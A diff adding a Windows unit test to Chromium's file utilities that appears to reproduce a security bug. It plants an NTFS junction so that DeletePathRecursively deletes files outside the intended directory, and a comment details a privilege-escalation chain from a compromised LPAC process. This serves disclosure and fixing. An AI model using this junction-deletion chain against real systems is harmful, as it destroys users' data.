diff --git a/base/files/file_util_unittest.cc b/base/files/file_util_unittest.cc index 82fb858472a98..a619fd5ed41a8 100644 --- a/base/files/file_util_unittest.cc +++ b/base/files/file_util_unittest.cc @@ -2256,6 +2256,116 @@ TEST_F(FileUtilTest, DeleteDirRecursive) { EXPECT_FALSE(PathExists(test_subdir)); } +#if BUILDFLAG(IS_WIN) +// SECURITY: This test demonstrates that base::DeletePathRecursively() on +// Windows traverses INTO an NTFS mount-point junction and recursively deletes +// the contents of the junction TARGET, not just the junction stub. +// +// This is the core primitive behind a privilege-escalation attack chain: +// a compromised MediaFoundation LPAC process holds an inheritable +// FILE_GENERIC_WRITE|DELETE ACE on +// /MediaFoundationCdmStore/ +// (granted by chrome/browser/media/cdm_document_service_impl.cc:101-106). +// FILE_GENERIC_WRITE includes FILE_WRITE_DATA, which is sufficient to issue +// FSCTL_SET_REPARSE_POINT and create a mount-point junction (no +// SeCreateSymbolicLinkPrivilege required for IO_REPARSE_TAG_MOUNT_POINT). +// +// The LPAC process plants /evil --junction--> C:\Users\\Documents. +// When the user clears browsing data (Settings > Privacy > Clear browsing +// data > Cookies and other site data), the browser process posts +// DeleteMediaFoundationCdmData to ThreadPool. That function: +// 1. Enumerates with FileEnumerator(recursive=false, DIRECTORIES). +// The reparse-point skip in file_enumerator_win.cc:194-202 is gated on +// `recursive_==true`, so it does NOT fire here. The junction is returned +// as a regular directory entry. +// 2. Fails to find "evil" in origin_id_mapping (it's not a known origin +// token), so at cdm_document_service_impl.cc:401 it calls +// base::DeletePathRecursively(/evil) unconditionally. +// 3. DeletePathRecursively -> DoDeleteFile (file_util_win.cc:380): +// GetFileAttributes returns DIRECTORY|REPARSE_POINT, but line 394 only +// checks DIRECTORY. The function then calls +// DeleteFileRecursive(junction, "*", true) at line 402. +// 4. DeleteFileRecursive (file_util_win.cc:176) creates +// FileEnumerator(junction, recursive=false, ...). At line 146, +// FindFirstFileEx("\\*") is called -- the Windows kernel +// transparently resolves the mount point and returns the TARGET's +// children. The function then manually recurses (line 197), and every +// ::DeleteFile / ::RemoveDirectory call resolves through the junction +// to the target tree. +// +// The browser process recursively deletes any directory the Chrome user has +// delete rights on. +// +// This test proves step (3)+(4) -- the junction-following recursive delete -- +// in isolation. The setup steps (LPAC ACE, ThreadPool dispatch) are pure +// plumbing that can be verified by source inspection above. +TEST_F(FileUtilTest, DeletePathRecursivelyFollowsJunction_SECURITY_BUG) { + // ===== Set up the VICTIM tree (this simulates e.g. user Documents) ===== + // We deliberately put this OUTSIDE the directory we will pass to + // DeletePathRecursively. If the function were safe, nothing here would be + // touched. + FilePath victim_root = temp_dir_.GetPath().Append(FPL("VictimTree")); + ASSERT_TRUE(CreateDirectory(victim_root)); + + FilePath victim_file = victim_root.Append(FPL("important_document.txt")); + CreateTextFile(victim_file, bogus_content); + ASSERT_TRUE(PathExists(victim_file)); + + FilePath victim_subdir = victim_root.Append(FPL("Subfolder")); + ASSERT_TRUE(CreateDirectory(victim_subdir)); + + FilePath victim_subfile = victim_subdir.Append(FPL("nested_data.txt")); + CreateTextFile(victim_subfile, bogus_content); + ASSERT_TRUE(PathExists(victim_subfile)); + + // ===== Set up the ATTACKER-CONTROLLED entry ===== + // This simulates the directory under /MediaFoundationCdmStore/ + // that the LPAC process can create. It is an empty directory turned into a + // mount-point junction. + FilePath cdm_store = temp_dir_.GetPath().Append(FPL("FakeCdmStore")); + ASSERT_TRUE(CreateDirectory(cdm_store)); + + FilePath evil_junction = cdm_store.Append(FPL("evil")); + ASSERT_TRUE(CreateDirectory(evil_junction)); + + // Convert evil_junction into a junction (IO_REPARSE_TAG_MOUNT_POINT) that + // points at victim_root. This is exactly the FSCTL_SET_REPARSE_POINT that + // the LPAC process would issue -- it requires only FILE_WRITE_DATA on + // evil_junction, which the LPAC has via the inheritable ACE. + auto reparse = + test::FilePathReparsePoint::Create(evil_junction, victim_root); + ASSERT_TRUE(reparse.has_value()) + << "Failed to create mount-point junction. Are you running on NTFS?"; + + // Sanity-check the junction works: we should be able to see victim_file + // through the junction path. + ASSERT_TRUE(PathExists(evil_junction.Append(FPL("important_document.txt")))); + + // ===== TRIGGER: this is exactly what cdm_document_service_impl.cc:401 ===== + // ===== does on the browser-process ThreadPool. ===== + // + // We do not assert the return value: the FilePathReparsePoint helper holds + // an open handle on `evil_junction`, so the trailing RemoveDirectory() at + // file_util_win.cc:409 may fail with ERROR_SHARING_VIOLATION. That is + // irrelevant to the attack -- by then, the target's contents are already + // deleted. + DeletePathRecursively(evil_junction); + + // ===== PROOF OF EXPLOITATION ===== + // The victim tree's CONTENTS have been deleted, even though we only ever + // asked to delete `evil_junction` (a path under FakeCdmStore). + // + // If DeletePathRecursively were junction-safe, all of these would still + // exist. They do not. + EXPECT_FALSE(PathExists(victim_file)) + << "BUG NOT REPRODUCED: victim file survived (fix may have landed)"; + EXPECT_FALSE(PathExists(victim_subfile)) + << "BUG NOT REPRODUCED: nested victim file survived"; + EXPECT_FALSE(PathExists(victim_subdir)) + << "BUG NOT REPRODUCED: victim subdirectory survived"; +} +#endif // BUILDFLAG(IS_WIN) + // Tests recursive Delete() for a directory. TEST_F(FileUtilTest, DeleteDirRecursiveWithOpenFile) { // Create a subdirectory and put a file and two directories inside.